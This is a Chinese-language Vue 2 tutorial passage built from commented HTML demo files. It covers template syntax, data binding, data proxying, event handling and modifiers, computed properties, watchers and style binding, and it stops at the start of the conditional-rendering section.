admin 管理员组

文章数量: 887019

 简介

什么是Vue?

一套用于构建用户界面的渐进式JavaScript框架。将数据转变成用户可看到的界面。

什么是渐进式? 

Vue可以自底向上逐层的应用

简单应用:只需一个轻量小巧的核心库

复杂应用:可以引入各式各样的Vue插件

Vue的特点是什么?

1.采用组件化模式,提高代码复用率、且让代码更好维护。

2.声明式编码,让编码人员无需直接操作DOM,提高开发效率。

3.使用虚拟DOM+优秀的Diff 算法,尽量复用DOM节点

 Vue官网

vue2 

介绍 — Vue.js

vue3  

Vue.js - 渐进式 JavaScript 框架 | Vue.js

Vue2-html文件中写vue

下载安装 

 开发版本比较大,生产版本较小。

开发时推荐引入开发版本的vue,有提示。

我们下载下来源码并引用,甚至可用修改源码。

 下载Vue开发者工具

参考:vue devtools在谷歌浏览器安装使用,附vue,vue3devtools下载资源_vue3.js tools 谷歌_…咦的博客-CSDN博客

学习vue2,可参考vue2的文档API — Vue.js

外:shift+点击网页刷新,为强制刷新。

外:vscode的live server运行html,网页除了输入http://127.0.0.1:5h500/http://127.0.0.1:5500/Vue/Vue.htmlhttp://127.0.0.1:5500/还可输入http://127.0.0.1:5500/,然后选中文件夹

可在vsCoder中安装一个Vue 3 snippets插件。 写vue代码回有提示补全。

演示代码:

目录结构 

html代码 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>初识Vue</title>
    <script type="text/javascript" src="../js/vue.js">
    </script>
</head>
<body>
    <!-- 总结:
        初识Vue:
        1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
        2.root容器里的代码依然符合html规范。只不过混入了一些特殊的Vue语法;
        3.root容器里的代码被称为【Vue模板】;
        4.Vue实例和容器是一一对应的;
        5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
        6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
        7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;
     -->
    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>hello,kdy</h1>
        <!-- {{}}中的需要为一个js表达式(表达式最终计算出一个值的),而不是js代码 -->
        <p>{{name.toUpperCase()}}--{{new Date()}}</p>
    </div>
    <p>{{name}}</p><!--//容器外,data无效-->
   <script type="text/javascript">
    Vue.config.productionTip=false
    // 在配置下方写vue实例
    /*const x = */new Vue({
        el:"#root",  //element元素,让vue实例和容器之间建立联系,指定当前实例为哪个容器服务.里面传递选择器,可id可class.,若class就".root"
        data:{  //data中用于存储数据,数据供el所指定的容器去使用。
            name:"kdy"
        }
    })
   </script> 
</body>
</html>

注意:vue实例和容器之间是一对一的:若两个class为root容器对于一个绑定.root的vue实例,则第二个容器中不生效。若一个id为root的容器绑定两个new Vue的cl为“#root”的实例,则第二个new的vue实例不生效。

模板语法

1、插值语法{{}}:位于标签体中

2、指令语法v-bind:位于标签属性

代码演示: 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>模板语法</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue模板语法有2大类:1.插值语法:
        功能:用于解析标签体内容。
        写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。2.指令语法:
        功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....) 。
        举例:v-bind:href="xxx”或简写为:href="xxx",xxx同样要写js表达式,
        且可以直接读取到data中的所有属性。
        备注: Vue中有很多的指令,且形式都是: v-????,此处我们只是拿v-bind举个例子。
     -->
    <div id="app">
        <p>{{message}}</>
        <p>{{user.name}}</>
        <p>{{user.age}}</><br/>
            <!-- 指令语法v-bind: 可指定任何一个属性-->
        <a v-bind:href="url">百度</a>
        <div :x="hello"></div>
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#app",
            data:{
                message:"插值语法",
                url:"http://www.baidu",
                hello:"你好",
                user:{
                    name:"王五",
                    age:20
                }
            },
        })
    </script>
</body>
</html>

数据绑定

单向数据绑定v-bind:,data->模板页面

代码案例  数据绑定.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>数据绑定</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue中有2种数据绑定的方式:
        1.单向绑定(v-bind):数据只能从data流向页面。
        2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
        备注:
        1.双向绑定一般都应用在表单类元素上(如: input、select等)
        2.v-model:value可以简写为v-model,因为v-model默认收集的就是value值。
     -->
    <div id="app">
        单向数据绑定:<input type="text" v-bind:value="msg"/><br/>
        双向数据绑定:<input type="text" v-model:value="msg2"/><br/>
        双向数据绑定:<input type="text" v-model="msg2"/>
        <!-- 如下代码是错误的,v-model只能绑定在表单类的元素(输入元素)上 
        input\单选框\多选框\select框\多行输入
        -->
        <!-- <h2 v-model:x="msg2">你好啊</h2> -->
    </div>
    <script type="text/javascript">
        new Vue({
            el:"#app",
            data:{
                msg:"hello123",
                msg2:"hello123"
            },
        })
    </script>
</body>
</body>
</html>

  el与data的两种写法

代码展示: el与data的两种写法.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>el与data的两种写法</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 

        data与el的2种写法
        1.el有2种写法
        ( 1).new Vue时候配置el属性。
        (2).先创建Vue实例,随后再通过vm. $mount( ' #root ')指定el的值。
        2.data有2种写法
        (1).对象式(2).函数式
        如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
        3.一个重要的原则:
        由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
     -->
    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>
    <script type="text/javascript">
/*        const v = new Vue({
            //el:"#root",
            data:{
                name:"王五"
            }
        })
        console.log(v)//打印出vue实例.发现有很多$开头的内容,这些$开头的内容就是给程序员使用的./
        //el就可通过v.$mount("#root"),这种方式比较灵活.
        v.$mount("#root")
        */
        new Vue({
            el:"#root",
            //data的第一种写法:对象式
            /*data:{
                name:"王五"
            },*/
            //data的第二种写法:函数式  以后学习组件的时候,必须使用该函数式的data
            data:function(){
                console.log(this)//此处的this是vue实例对象
                return{
                    name:"王六"
                }
            },
            /*data函数式不能写箭头函数,以下写法是错误的,必须老老实实的写上面的function的这种.
            data:()=>{
                console.log(this)//箭头函数由于没有自己的this,就找到了最外层的data即windows
            }*/

        })
    </script>
</body>
</html>

MVVM模型

vue参考了MVVM:

1.M:模型(Model) :对应data中的数据
2.V:视图(View):模板
3.VM:视图模型(ViewModel) : Vue 实例对象

 文档中常用vm代表vue实例。

vm实例中的所有东西都可写在{{}}中

代码演示:vue中的MVVM.html: 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        观察发现:
        1.data中所有的属性,最后都出现在了vm身上。
        2.vm身上所有的属性及 Vue原型上所有属性,在Vue模板中都可以直接使用。
     -->
    <div id="root">
        <p>{{name}}</p>
        <!-- vue实例中的东西都可在{{}}中 -->
        <P>{{$options}}</P>
        <P>{{$emit}}</P>
        <!-- view -->
    </div>
    <script type="text/javascript">
        const vm = new Vue({ //  ViewModel
            el:"#root",
            data:{//  model
                name:"张三"
            }
        })
        console.log(vm)//data中写的内容会出现在vm上,也就是vue实例上.
    </script>
</body>
</html>

回顾js的Object.defineproperty方法

代码演示:Object.defineproperty.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script type="text/javascript">
        let number = 18;
        let person={
            name:"张三",
            sex:"男"
        }
        Object.defineProperty(person,'age', {   //给person增加一个属性
            //value:18,
            //enumerable:true,  //控制属性是否可以枚举,默认值是false
            //writable:true,  //控制属性是否可以被修改,默认值是false
            //configurable:true,  //控制属性是否可以被删除,默认值是false
            //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
            get:function(){   //get:function()也可简写为get()
                console.log('有人读取age属性了')
                return number
            }, 
            set(value){
                console.log('有人修改了age属性,且值是',value)
                number=value
            }
        })

        console.log(person)
        console.log(Object.keys(person))
        for(let key in person){
            console.log('@',person[key])
        }
    </script>
</body>
</html>

运行后在f12控制台中person.age和person.age = 150这样设置。 

数据代理

代码演示:何为数据代理.html 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>何为数据代理</title>
</head>
<body>
    <script type="text/javascript" >
        let obj = {x:100}
        let obj2 = {y:200}
        Object.defineProperty(obj2,'x',{
            get(){
                return obj.x
            },
            set(value){
                obj.x = value
            }
        })
    </script>
</body>
</html>

运行后在f12控制台中obj.x和obj2.x和其set。 

就是通过vm读取或写入data中的数据: 

vm将data中的数据放到了_data中(_data里的数据做了数据劫持)

Vue中的数据代理.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        1.vue中的数据代理:
        通过vm对象来代理data对象中属性的操作(读/写)
        2.Vue中数据代理的好处:
        更加方便的操作data中的数据3.基本原理:
        通过object.defineProperty()把data对象中所有属性添加到vm上.为每一个添加到vm上的属性,都指定一个getter/setter。
        在getter/setter内部去操作(读/写)data中对应的属性。
     -->
    <div id="app">
        <h2>姓名:{{name}}</h2>
        <!-- vue对象的属性可直接在插值表达式中 -->
        <h2>姓名:{{_data.name}}</h2>
        <h2>年龄:{{age}}</h2>
    </div>
    <script type="text/javascript">
        let data={
            name:"张三",
            age:20
        }
        const vm = new Vue({
            el:"#app",
            data
        })
    </script>
</body>
</html>

live server运行后,f12控制台测试为:

 vm.name
'张三'
vm.name="王五"
'王五'
vm.name
'王五'
vm._data.name="张柳"
'张柳'
vm.name
'张柳'
vm._data==data
true

如果vue没有做数据代理,f12控制台只能访问vm._data.name了,加上数据代理,就可以vm.name使用了。

数据代理,就是把_data中的东西放到vm对象身上。

 事件处理

事件的基本使用.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>事件的基本使用</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        事件的基本使用:
        1.使用v-on : xxx或@xxx绑定事件,其中xxx是事件名;
        2.事件的回调需要配置在methods对象中,最终会在vm上;
        3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
        4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
        5.@click="demo”和L@click="demo($event)”效果一致,但后者可以传参;
     -->
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <button v-on:click="showInfo">点我显示提示信息</button><br/>
        <!-- 也可写成@click -->
        <button @click="showInfo2">点我显示提示信息2</button><br/>
        <!-- 事件传递参数进入 一个参数直接写,如果要用到event,需要$event占位-->
        <button @click="showInfo3(66,'你好',$event)">点我显示提示信息3</button>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                name:"尚硅谷",
                //虽然方法也可写在data中,但会增加vue负担,会也做数据代理和数据劫持
            },
            methods:{
                showInfo(event){
                    console.log(event.target.innerText)//点我显示提示信息
                    console.log(this)//此处的this是vue对象
                    alert("你好")
                },
                showInfo2:(event)=>{
                    console.log(this)//此处的this没有自己的this,就找到了全局的Window
                },
                //所以推荐所有被vue管理的函数要写成普通函数,不用写箭头函数
                showInfo3(num,hello,event){
                    console.log(num)
                    console.log(hello)
                    console.log(event)
                },
            }
        })

    </script>
</body>
</html>

天气案例.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>天气案例</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root">
        <h3>今天天气很{{info}}</h3>
        <button @click="changeWeather">切换天气</button><br/>
        <!-- 简单的@click事件可如下这样写 -->
        <button @click="isHot=!isHot">切换天气</button><br/>
        <!-- 甚至vm中data中可以把window也引过来,但不推荐这样写哈 -->
        <button @click="window.alert('你好')">切换天气</button>
    </div>
</body>
<script type="text/javascript">
    new Vue({
        el:"#root",
        data:{
            isHot:true,
            window
        },
        computed:{
            info(){
                return this.isHot? "炎热":"寒冷"
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
    })
</script>
</html>

事件修饰符

阻止默认行为、阻止冒泡、事件只触发一次. . . 

demo.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>事件修饰符</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        *{
            margin-top: 20px;
        }
        .demo1{
            height: 50px;
            background: blanchedalmond;
        }
        .box1{
            background-color: aqua;
            padding: 10px;
        }
        .box2{
            padding: 10px;
            background-color: rgb(213, 221, 123);
        }
        .list{
            width: 200px;
            height: 200px;
            background-color:coral;
            /* 形成滚动条 */
            overflow: auto;
        }
        li{
            height: 100px;
        }
    </style>
</head>
<body>
    <!-- Vue中的事件修饰符:
        1.prevent: 阻止默认事得(常用);
        2.stop:阻止事件冒泡(常用);
        3.once:事件只触发一次(常用);
        4.capture:使用事件的捕获模式;
        5.self:只有event.target是当前操作的元素是才触发事件;
        6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕; -->
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <a href="http://www.baidu" @click="showInfo">百度</a><br/>
        <!-- 阻止了事件的默认行为方式2 .prevent就是事件修饰符-->
        <a href="http://www.baidu" @click.prevent="showInfo2">百度2</a>
        <!-- 阻止事件冒泡  @click.stop -->
        <div class="demo1" @click="showInfo2">
            <button @click.stop="showInfo2">点我提示信息</button>
        </div>
        <!-- 事件只触发一次 -->
        <button @click.once="showInfo2">点我提示信息</button>
        <!-- 使用事件的捕获模式 -->
        <div class="box1" @click="showMsg(1)">
            div1
            <div class="box2" @click="showMsg(2)">
                div2
            </div>
        </div>
        <!-- 当上面div2点击后,控制台先打印2,再打印1,如果给外面盒子div1加上捕获capture,就会先捕获在处理了,就先打印1,再打印2了 -->
        <div class="box1" @click.capture="showMsg(1)">
            div1
            <div class="box2" @click="showMsg(2)">
                div2
            </div>
        </div>
        <!-- 只有event.target是当前操作的元素是才触发事件; -->
        <div class="demo1" @click.self="showInfo3">
            <button @click="showInfo3">点我提示信息</button>
            <!--外层div事件修饰符不加self:f12控制台打印了两边按钮的元素,说明还是这个按钮的事件,所以给外层div加上一个事件修饰符self也从某种意义上阻止了事件冒泡
                <button>点我提示信息</button>
                <button>点我提示信息</button>
            -->
        </div>
        <!-- passive:事件的默认行为立即执行,无需等待事件回调执行完毕; -->
        <ul @wheel.passive="demo" class="list">
            <!--@scroll滚轮和拖曳滚动条均可 @whell是仅滚轮滚动 -->
            <!-- 绑定的demo函数中有个很繁琐的for循环,默认会等demo函数完全执行完之后才会执行滚轮的默认事件,加上passive,就会不用等demo函数执行完就执行滚轮的默认事件向下滚动了。passive进行优化的,如移动端手机或平板肯恶搞会使用一下。 -->
            <li>1</li>
            <li>2</li>
            <li>3</li>
            <li>4</li>
        </ul>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                name:"尚硅谷"
            },
            methods:{
                showInfo(event){
                    event.preventDefault()//阻止了事件的默认行为方式1
                    alert("你好")
                },
                showInfo2(event){
                    //event.stopPropagation();
                    alert("你好")
                },
                showMsg(msg){
                    console.log(msg)
                },
                showInfo3(event){
                    console.log(event.target)
                },
                demo(){
                    for(let i=0;i<100000;i++){
                        console.log("#")
                    }
                    console.log("累坏了")
                }

            }
        })
    </script>
</body>
</html>

事件修饰符,也可以连着写,@click.stop.prevent=showInfo()

键盘事件

键盘事件.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>键盘事件</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        1.Vue中常用的按键别名:
        回车 => enter 删除=> delete(捕获"删除”和“退格”键)  退出=>esc
        空格=> space换行=> tab 上 => up 下=> down  左=>left  右=> right
        2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
        3.系统修饰键(用法特殊):ctrl、alt、 shift、meta即win键
        (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
        (2).配合keydown使用:正常触发事件。
        4.也可以使用keyCode去指定具体的按键(不推荐)
        5.Vue.config. keyCodes.自定义键名=键码,可以去定制按键别名
     -->
    <div id="root">
        <input type="text" placeholder="按下回车键提示输入" @keyup="showInfo"/><br/>
        <!-- vue给常用的按键起了别名 Enter别名enter -->
        <input type="text" placeholder="按下回车键提示输入" @keyup.enter="showInfo2"/><br/>
        <!-- Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名) -->
        <input type="text" placeholder="按下caps-lock键提示输入" @keyup.caps-lock="showInfo2"/><br/>
        <!-- 对于tab,必须使用keydown,不能使用keyup -->
        <input type="text" placeholder="按下tab键提示输入" @keydwon.tab="showInfo2"/><br/>
        <!-- 
            3.系统修饰键(用法特殊):ctrl、alt、 shift、meta即win键
            (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
            (2).配合keydown使用:正常触发事件。
         -->
        <input type="text" placeholder="按下shift键提示输入" @keydown.shift="showInfo2"/><br/>
        <!-- 4.也可以使用keyCode去指定具体的按键(不推荐)可读性差 -->
        <input type="text" placeholder="按下回车键提示输入" @keydown.13="showInfo2"/><br/>   
        <!-- Vue.config. keyCodes.自定义键名=键码,可以去定制按键别名 -->
        <input type="text" placeholder="按下回车键提示输入" @keydown.huiche="showInfo2"/><br/>   
        <!-- 查看键盘按键的key和keyCode -->
        <input type="text" placeholder="按下键提示输入" @keyup="showInfo3"/><br/>
    </div>
    <script type="text/javascript">
        //5.Vue.config. keyCodes.自定义键名=键码,可以去定制按键别名
        Vue.config.keyCodes.huiche = 13
        const vm  =new Vue({
            el:"#root",
            data:{
                name:"张三"
            },
            methods:{
                showInfo(e){
                    if(e.keyCode!=13) return
                    console.log(e.keyCode)
                    console.log(e.target.value)
                },
                showInfo2(e){
                    console.log(e.target.value)
                },
                showInfo3(e){
                    console.log(e.key,e.keyCode)
                    /*
                    Control 17
                    Shift 16
                    CapsLock 20
                    */
                }
            }
        })
    </script>
</body>
</html>

如果需要按下shift+y时触发事件:@keydown.shift.y="showInfo2"    连写

不用计算属性,使用{{方法()}}

计算属性

计算属性.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>姓名案例-插值语法实现</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>    
    <!-- 
        计算属性:
        1.定义:要用的属性不存在,要通过已有属性计算得来,不能是脱离vue的变量。
        2.原理:底层借助了objcet.defineproperty方法提供的getter和setter。
        3.get函数什么时候执行?
        (1).初次读取时会执行一次。
        (2).当依赖的数据发生改变时会被再次调用。
        4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
        5.备注:
        1.计算属性最终会出现在vm上,直接读取使用即可。
        2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生
     -->
<div id="root">
    姓:<input type="text" v-model="firstName"><br/><br/>
    名:<input type="text" v-model="lastName"><br/><br/>
    <!-- {{计算属性无括号}} -->
    全名:<span>{{ fullName }}</span><br/>
    全名:<span>{{ fullName }}</span><br/>
    全名:<span>{{ fullName }}</span><br/>
    全名:<span>{{ fullName2 }}</span><br/>
    全名:<span>{{ fullName3 }}</span><br/>
    <!-- 即使引用了多个fullName,实际上fullName的get方法也只是被执行了一次,然后缓存了 -->
</div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                firstName:"张",
                lastName:"三"
            },
            computed:{ //vm区找fullName的get方法,拿到返回值赋值给fullName
                fullName:{
                    /*
                        l、get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
                        2、get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
                    */
                    get(){
                        return this.firstName+"-"+this.lastName
                    },
                    //set不是必须写的,当fullName被修改时调用
                    set(value){
                            const arr = value.split('-')
                            this.firstName = arr[0]
                            this.lastName = arr[1]
                    }
                    //f12中vm.fullname= "李-四"
                },
                //计算属性简写
                fullName2:function(){
                    return this.firstName+"-"+this.lastName
                },
                //计算属性简写
                fullName3(){
                    return this.firstName+"-"+this.lastName
                }
            }
        })
    </script>
</body>
</html>

监视属性

监视属性也叫侦听属性。

天气案例-监视属性.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>天气案例</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        监视属性watch:
        1.当被监视的属性变化时,回调函数自动调用,进行相关操作
        2.监视的属性必须存在,才能进行监视!!
        3.监视的两种写法:
        ( 1).new Vue时传入watch配置(2).通过vm.$watch监视
     -->
    <div id="root">
        <h3>今天天气很{{info}}</h3>
        <button @click="changeWeather">切换天气</button><br/>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el:"#root",
        data:{
            isHot:true,
        },
        computed:{
            info(){
                return this.isHot? "炎热":"寒冷"
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{
            isHot:{
                /*handler(){
                    console.log('isHot被修改了')
                }*/
                // handler什么时候调用?当isHot发生改变时。
                handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                },
                immediate:true  //初始化时让handler调用一下,默认false f12刷新王爷后立即 isHot被修改了 true undefined
            },
            //简写方式  当只有handler时可以开始简写形式
            /*isHot(newValue,oldValue){
                console.log('isHot被修改了',newValue,oldValue)
            },*/
        }
    })
    // 监视属性也可这样写
    /*vm.$watch('isHot',{
        // handler什么时候调用?当isHot发生改变时。
        handler(newValue,oldValue){
            console.log('isHot被修改了',newValue,oldValue)
        },
        immediate:true 
    })*/
    //监视属性$watch的简写  仅有handler时可简写
     /*vm.$watch('isHot',function(newValue,oldValue){
        console.log('isHot被修改了',newValue,oldValue)})*/
</script>
</html>

深度监视

深度监视.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>天气案例</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        深度监视:
        (1).vue中的watch默认不监测对象内部值的改变(一层)。
        (2).配置deep:true可以监测对象内部值改变(多层)。
        备注:
        (1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
        (2).使用watch时根据数据的具体结构,决定是否采用深度监视。
     -->
    <div id="root">
        <h3>今天天气很{{info}}</h3>
        <button @click="changeWeather">切换天气</button><br/>
        <hr/>
        <h3>a的数据是{{numbers.a}}</h3>
        <button @click="numbers.a++">点我让a加1</button><br/>
        <hr/>
        <h3>b的数据是{{numbers.b}}</h3>
        <button @click="numbers.b++">点我让a加1</button><br/>
    </div>
</body>
<script type="text/javascript">
    const vm = new Vue({
        el:"#root",
        data:{
            isHot:true,
            numbers:{
                a:1,
                b:1
            }
        },
        computed:{
            info(){
                return this.isHot? "炎热":"寒冷"
            }
        },
        methods: {
            changeWeather(){
                this.isHot = !this.isHot
            }
        },
        watch:{
            isHot:{
                handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue)
                }
            },
            'numbers.a':{//监视多级结构中某个属性的变化,只监视a不监视b
                handler(){
                    console.log("a改变了")
                }
            },
            //再提要求,监视numbers中b属性的变化,c属性的变化,d、e、f...一百多个属性的变化,总不能一个个的写吧
            numbers:{
                deep:true,//监视多级结构中所有属性的变化
                handler(){
                    console.log("numbers改变了")
                }
            }
        }
    })
</script>
</html>

watch对比computed

watch对比computed.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>计算属性和watch</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>    
    <!-- 
        computed和watch之间的区别:
        1puted能完成的功能,watch都可以完成。
        2.watch能完成的功能,computed不一定能完成,例如: watch可以进行异步操作。
        两个重要的小原则;
        1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象。
        2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等),最好写成箭头函数,这样thi的指向才是vm或组件实例对象。        
     -->
<div id="root">
    姓:<input type="text" v-model="firstName"><br/><br/>
    名:<input type="text" v-model="lastName"><br/><br/>
    全名:<span>{{ fullName }}</span><br/>
</div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                firstName:"张",
                lastName:"三",
                fullName:"张-三"
            },
            computed:{ 
                /*fullName(){
                    return this.firstName+"-"+this.lastName
                }*/
            },
            watch:{
                firstName(newValue){//相比计算属性赋值,watch中方法还可以使用函数,如计时器。而计算属性中由于依赖返回值,不能开启异步任务维护数据,不能使用计时器
                    setTimeout(() => {//因为定时器的回调不受vue控制,js引擎调的,所以可以且必须写成箭头函数
                        //因为不受vue管理,this就往外找,找到了firstName中的this,时vue管理的,所以下面的this.fullName又受vue管理了。倘若不写箭头函数而写普通函数,那this由于不受vue管理,而受window管理,就变成了window.fullName了
                        this.fullName=newValue+"-"+this.lastName
                    }, 1000);
                },
                lastName(val){
                    this.fullName=this.firstName+"-"+val
                }
            }
        })
    </script>
</body>
</html>

绑定class样式

f12元素中可直接编辑,失去焦点就会运用

绑定样式.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>绑定样式</title>
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        .basic{
            width: 200px;
            height: 200px;
            border-style: solid;
            border-color: blue;
        }
        .happy{
            background-color: rgb(233, 236, 30)
        }
        .sad{
            background-color: rgb(30, 236, 191)
        }
        .normal{
            background-color: rgb(128, 211, 19)
        }
        .style1{
            background-color: rgb(211, 153, 19)
        }
        .style2{
            font-size: 50px;
        }
        .style3{
            border-radius: 20%;
        }
    </style>
</head>
<body>
    <!-- 
        绑定样式:
        1.class样式
        写法:class="xxx"xxx可以是字符串、对象、数组。
        字符串写法适用于:类名不确定,要动态获取。
        对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
        数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用.
        2. style样式
        :style="{fontsize: xxx}"其中xxx是动态值。: style="[a,b]"其中a、b是样式对象。        
     -->
    <div id="root">
        <!-- <div class="basic normal" id="demo" @click="changeMod">{{name}}</div> -->
        <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
        <div class="basic" :class="mod"  @click="changeMod">{{name}}</div><br/><br/>
        <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
        <div class="basic" :class="arr" >{{name}}</div><br/><br/>
        <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
        <div class="basic" :class="classObj" >{{name}}</div><br/><br/>
        <!-- css的烤肉串变成驼峰命名 -->
        <div class="basic" :style="{fontSize: fsize+'px'}" >{{name}}</div><br/><br/>
        <!-- 绑定style样式--对象写法 -->
        <div class="basic" :style="styleObj" >{{name}}</div><br/><br/>
        <!-- 绑定style样式--数组写法 -->
        <div class="basic" :style="[styleObj,styleObj2]" >{{name}}</div><br/><br/>
        <div class="basic" :style="styleArr" >{{name}}</div><br/><br/>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el:"#root",
            data:{
                name:"张三",
                mod:"normal",
                arr:["style1","style2","style3"],
                /*
                可在f12控制台中:
                vm.arr.shift()
                'style1'
                vm.arr.shift()
                'style2'
                vm.arr.shift()
                'style3'
                vm.arr.push("style1")
                1
                vm.arr.push("style2")
                2
                vm.arr.push("style3")
                */
                classObj:{
                    style1:false,
                    style2:false
                },
                fsize:30,
                styleObj:{
                    fontSize: '30px'  //css的烤肉串变成驼峰命名
                },
                styleObj2:{
                    backgroundColor: "orange"  //css的烤肉串变成驼峰命名
                },
                styleArr:[
                {
                    fontSize: '30px'  //css的烤肉串变成驼峰命名
                },
                {
                    backgroundColor: "orange"  //css的烤肉串变成驼峰命名
                }
                ]
            },
            methods: {
                changeMod(){
                    //document.getElementById("demo").className='basic happy'//传统的js切换class
                    //this.mod="happy"
                    const arr=["happy","sad","normal"]
                    const index = Math.floor(Math.random()*3)    //0-1,乘以3,向下取整
                    this.mod=arr[index]
                }
            },
        })
    </script>
</body>
</html>

条件渲染

条件渲染.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>条件渲染</title>
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        条件渲染:
        1.v-if
        写法:
        (1).v-if="表达式"
        (2).v-else-if="表达式"(3).v-else="表达式"适用于:切换频率较低的场景。
